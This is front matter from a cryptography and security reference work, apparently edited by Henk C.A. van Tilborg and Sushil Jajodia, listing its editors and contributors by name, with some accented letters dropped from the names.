Henk C.A. van Tilborg, Sushil Jajodia

Henk C.A. van Tilborg

Henk C.A. van Tilborg, Sushil Jajodia

Henk C.A. van Tilborg

Carlisle Adams Ernesto Damiani

Dan Boneh Yvo Desmedt

Angelos Keromytis Christof Paar

Berry Schoenmakers Patrick Traynor

SAEED ABU-NIMEH JIM ALVES-FOSS

PAULO S. L. M. BARRETO BIR BHANU

HOMAYOON BEIGI FRDRIQUE BIENNIER

DAVID ELLIOTT BELL ELI BIHAM

DANIEL J. BERNSTEIN SOMA BISWAS

G. R. BLAKLEY GILLES BRASSARD

GERRIT BLEUMER VLADIMIR BRIK

PIERO A. BONATTI DAVID BRUMLEY

TOM CADDY ANNE CANTEAUT

EBRU CELIKEL CANKAYA ANN CAVOUKIAN

CHRISTOPHE DE CANNIRE DAVID CHALLENER

PASCALE CHARPIN STELVIO CIMATO

RAMA CHELLAPPA ANDREW CLARK

YU CHEN SCOTT CONTINI

LORRIE FAITH CRANOR

ERIC CRONIN ERNESTO DAMIANI

SCOTT CROSBY SABRINA DE CAPITANI DI VIMERCATI

GLENN DURFEE SERGE FENET

MARTIN EVISON MATTHEW K. FRANKLIN

KEITH B. FRIKKEN JOHANNES GEHRKE

QIJUN GU TOR HELLESETH

YANLI GUO JEFF HOFFSTEIN

HAKAN HACIGIMS DWIGHT HORNE

MICHAEL HUTH GOCE JAKIMOSKI

SANGWON HYUN MARTIN JOHNS

HIDEKI IMAI ANTOINE JOUX

SEBASTIAAN INDESTEEGE MARC JOYE

ARUN IYENGAR STEFAN KPSELL

TRENT JAEGER BURT KALISKI

BRENT BYUNG HOON KANG DANIEL KIFER

ALEXANDER KRUPPA GREGOR LEANDER

KRZYSZTOF KRYSZCZUK ADAM J. LEE

KAORU KUROSAWA KRISTEN LEFEVRE

RUGGERO DONIDA LABATI

NINGHUI LI GIOVANNI LIVRAGA

MING LI STEVE LLOYD

BENOT LIBERT MICHAEL E. LOCASTO

MYEONG L. LIM WENJING LOU

DONGGANG LIU ASHWIN MACHANAVAJJHALA

HEIKO MANTEL EVANGELIA MICHELI-TZANAKOU

DAVIDE MARTINENGHI JONATHAN K. MILLEN

HENRI MASSIAS JELENA MIRKOVIC

ALFRED MENEZES NICKY MOUHA

DANIELE MICCIANCIO DAVID NACCACHE

DANIEL NAGY CRISTINA NITA-ROTARU

CHRISTOF PAAR CLAUDE CRPEAU

BENNY PINKAS BART PRENEEL